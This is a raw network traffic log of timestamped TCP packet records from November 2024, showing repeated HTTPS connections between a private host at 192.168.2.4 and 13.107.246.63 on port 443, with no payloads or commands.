Nov 26, 2024 08:56:57.055094957 CET	443	50076	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.114816904 CET	443	50072	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.114837885 CET	443	50072	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.114890099 CET	50072	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:57.114917994 CET	443	50072	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.115525961 CET	50072	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:57.115540981 CET	443	50072	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.115593910 CET	50072	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:57.115680933 CET	443	50072	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.115704060 CET	443	50072	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.115740061 CET	50072	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:57.119653940 CET	50077	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:57.119699001 CET	443	50077	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.119764090 CET	50077	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:57.120085955 CET	50077	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:57.120099068 CET	443	50077	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.260082006 CET	443	50073	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.260849953 CET	50073	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.260925055 CET	443	50073	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.261465073 CET	50073	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.261480093 CET	443	50073	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.364399910 CET	443	50074	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.364794970 CET	50074	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.364824057 CET	443	50074	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.365220070 CET	50074	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.365225077 CET	443	50074	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.703421116 CET	443	50073	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.703493118 CET	443	50073	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.703671932 CET	50073	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.703701973 CET	443	50073	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.703954935 CET	50073	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.703974009 CET	443	50073	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.703984022 CET	50073	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.704344988 CET	443	50073	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.704426050 CET	443	50073	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.704921961 CET	50073	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.706588030 CET	50078	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.706645012 CET	443	50078	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.706768036 CET	50078	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.706907988 CET	50078	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.706929922 CET	443	50078	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.776622057 CET	443	50076	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.777321100 CET	50076	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.777343988 CET	443	50076	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.778069973 CET	50076	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.778074026 CET	443	50076	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.818963051 CET	443	50074	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.819025040 CET	443	50074	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.819386005 CET	50074	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.819700956 CET	50074	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.819725037 CET	443	50074	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.819869995 CET	50074	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.819879055 CET	443	50074	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.822835922 CET	50079	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.822871923 CET	443	50079	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.822933912 CET	50079	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.823052883 CET	50079	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.823066950 CET	443	50079	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.832238913 CET	443	50075	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.832776070 CET	50075	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.832788944 CET	443	50075	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.833360910 CET	50075	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.833367109 CET	443	50075	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.964198112 CET	443	50077	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.964786053 CET	50077	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.964813948 CET	443	50077	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:58.965337038 CET	50077	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:58.965342999 CET	443	50077	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.211635113 CET	443	50076	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.211812019 CET	443	50076	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.211879969 CET	50076	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.213026047 CET	50076	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.213047981 CET	443	50076	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.213058949 CET	50076	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.213063955 CET	443	50076	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.215689898 CET	50080	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.215727091 CET	443	50080	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.215894938 CET	50080	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.216026068 CET	50080	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.216039896 CET	443	50080	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.286132097 CET	443	50075	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.286209106 CET	443	50075	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.286401987 CET	50075	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.286523104 CET	50075	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.286547899 CET	443	50075	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.286571026 CET	50075	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.286578894 CET	443	50075	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.290229082 CET	50081	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.290266037 CET	443	50081	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.290340900 CET	50081	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.290720940 CET	50081	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.290730000 CET	443	50081	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.417257071 CET	443	50077	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.420788050 CET	443	50077	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.420939922 CET	50077	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.421596050 CET	50077	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.421612024 CET	443	50077	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.421622992 CET	50077	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.421628952 CET	443	50077	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.424768925 CET	50082	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.424803019 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:59.424866915 CET	50082	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.425266981 CET	50082	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:59.425281048 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:00.490617990 CET	443	50078	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:00.499727011 CET	50078	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:00.499747038 CET	443	50078	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:00.503153086 CET	50078	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:00.503160000 CET	443	50078	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:00.667094946 CET	443	50079	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:00.669279099 CET	50079	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:00.669315100 CET	443	50079	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:00.672966003 CET	50079	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:00.672974110 CET	443	50079	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:00.943645954 CET	443	50078	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:00.943730116 CET	443	50078	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:00.943883896 CET	443	50078	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:00.944034100 CET	50078	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:00.947160006 CET	50078	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:00.947160006 CET	50078	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:00.947181940 CET	443	50078	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:00.947191000 CET	443	50078	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:00.951091051 CET	50083	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:00.951131105 CET	443	50083	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:00.951477051 CET	50083	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:00.951636076 CET	50083	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:00.951647997 CET	443	50083	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.001779079 CET	443	50080	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.003070116 CET	50080	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.003070116 CET	50080	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.003087044 CET	443	50080	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.003103018 CET	443	50080	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.070563078 CET	443	50081	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.075299025 CET	50081	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.075320005 CET	443	50081	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.075757980 CET	50081	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.075762987 CET	443	50081	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.159245968 CET	443	50079	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.159271955 CET	443	50079	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.159332037 CET	50079	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.159341097 CET	443	50079	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.159385920 CET	50079	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.159811020 CET	50079	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.159830093 CET	443	50079	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.159841061 CET	50079	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.159847021 CET	443	50079	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.163961887 CET	50084	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.163995981 CET	443	50084	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.164057970 CET	50084	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.164638042 CET	50084	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.164654016 CET	443	50084	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.206288099 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.206674099 CET	50082	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.206696987 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.207484007 CET	50082	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.207490921 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.492818117 CET	443	50080	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.492854118 CET	443	50080	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.492870092 CET	443	50080	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.492909908 CET	50080	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.492929935 CET	443	50080	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.492974043 CET	50080	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.492974043 CET	50080	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.515655994 CET	443	50081	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.515686989 CET	443	50081	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.515733004 CET	50081	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.515748024 CET	443	50081	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.516931057 CET	50081	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.516940117 CET	443	50081	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.516952991 CET	50081	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.517103910 CET	443	50081	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.517134905 CET	443	50081	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.517174959 CET	50081	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.521415949 CET	50085	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.521473885 CET	443	50085	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.521533966 CET	50085	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.521663904 CET	50085	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.521677017 CET	443	50085	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.652774096 CET	443	50080	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.652858973 CET	443	50080	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.652880907 CET	50080	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.652914047 CET	50080	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.653058052 CET	50080	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.653058052 CET	50080	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.653084040 CET	443	50080	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.653095007 CET	443	50080	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.657154083 CET	50086	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.657196045 CET	443	50086	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.657246113 CET	50086	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.657593966 CET	50086	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.657608986 CET	443	50086	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.696567059 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.696592093 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.696615934 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.696652889 CET	50082	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.696660042 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.696719885 CET	50082	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.696736097 CET	50082	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.879293919 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.879348993 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.879363060 CET	50082	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.879369974 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.879381895 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.879404068 CET	50082	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.879487038 CET	50082	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.879673958 CET	50082	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.879693985 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.879726887 CET	50082	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.879733086 CET	443	50082	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.885587931 CET	50087	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.885631084 CET	443	50087	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:01.885678053 CET	50087	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.886018038 CET	50087	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:01.886032104 CET	443	50087	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:02.738768101 CET	443	50083	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:02.739694118 CET	50083	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:02.739707947 CET	443	50083	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:02.740775108 CET	50083	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:02.740780115 CET	443	50083	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:02.947078943 CET	443	50084	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:02.947840929 CET	50084	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:02.947866917 CET	443	50084	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:02.948915005 CET	50084	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:02.948928118 CET	443	50084	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.203025103 CET	443	50083	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.203066111 CET	443	50083	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.203121901 CET	50083	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.203136921 CET	443	50083	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.203150988 CET	443	50083	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.203175068 CET	50083	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.203207970 CET	50083	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.318769932 CET	50083	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.318808079 CET	443	50083	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.318840981 CET	50083	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.318846941 CET	443	50083	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.323934078 CET	50088	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.323990107 CET	443	50088	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.324053049 CET	50088	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.324877977 CET	50088	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.324892998 CET	443	50088	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.394941092 CET	443	50084	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.394968033 CET	443	50084	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.395047903 CET	50084	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.395060062 CET	443	50084	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.395263910 CET	50084	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.395270109 CET	443	50084	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.395282030 CET	50084	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.395311117 CET	443	50084	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.400943995 CET	50089	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.400999069 CET	443	50089	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.401079893 CET	50089	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.401249886 CET	50089	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.401273966 CET	443	50089	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.437486887 CET	443	50086	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.438013077 CET	50086	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.438029051 CET	443	50086	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.438426971 CET	50086	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.438431025 CET	443	50086	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.731162071 CET	443	50087	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.731905937 CET	50087	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.731946945 CET	443	50087	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.732713938 CET	50087	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.732718945 CET	443	50087	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.881438971 CET	443	50086	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.881503105 CET	443	50086	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.881548882 CET	50086	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.882380962 CET	50086	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.882401943 CET	443	50086	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.882412910 CET	50086	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.882420063 CET	443	50086	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.887092113 CET	50091	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.887193918 CET	443	50091	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:03.887262106 CET	50091	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.887689114 CET	50091	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:03.887723923 CET	443	50091	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:04.184593916 CET	443	50087	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:04.184672117 CET	443	50087	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:04.184905052 CET	50087	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:04.185136080 CET	50087	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:04.185159922 CET	443	50087	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:04.185170889 CET	50087	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:04.185178995 CET	443	50087	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:04.188046932 CET	50092	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:04.188090086 CET	443	50092	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:04.188321114 CET	50092	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:04.188577890 CET	50092	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:04.188591957 CET	443	50092	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:04.619024038 CET	443	50085	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:04.619672060 CET	50085	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:04.619699955 CET	443	50085	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:04.620309114 CET	50085	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:04.620315075 CET	443	50085	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.063564062 CET	443	50085	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.066469908 CET	443	50085	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.066548109 CET	50085	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.066791058 CET	50085	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.066812038 CET	443	50085	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.066838980 CET	50085	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.066844940 CET	443	50085	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.071897030 CET	50093	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.071939945 CET	443	50093	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.072166920 CET	50093	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.072289944 CET	50093	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.072303057 CET	443	50093	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.175239086 CET	443	50088	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.176064968 CET	50088	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.176106930 CET	443	50088	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.176698923 CET	50088	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.176704884 CET	443	50088	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.602876902 CET	443	50091	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.626939058 CET	443	50088	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.630736113 CET	443	50088	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.631151915 CET	50088	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.636593103 CET	50091	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.636662006 CET	443	50091	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.637855053 CET	50091	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.637870073 CET	443	50091	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.675679922 CET	50088	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.675715923 CET	443	50088	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.691401005 CET	50094	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.691428900 CET	443	50094	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.691482067 CET	50094	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.692861080 CET	50094	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.692871094 CET	443	50094	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.907865047 CET	443	50092	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.914993048 CET	50092	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.915004015 CET	443	50092	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.915528059 CET	50092	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.915534019 CET	443	50092	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.951545000 CET	443	50089	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.954196930 CET	50089	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.954231977 CET	443	50089	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:05.955214977 CET	50089	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:05.955221891 CET	443	50089	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.041088104 CET	443	50091	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.041831970 CET	443	50091	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.041899920 CET	50091	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:06.042107105 CET	50091	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:06.042134047 CET	443	50091	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.042151928 CET	50091	443	192.168.2.4	13.107.246.63
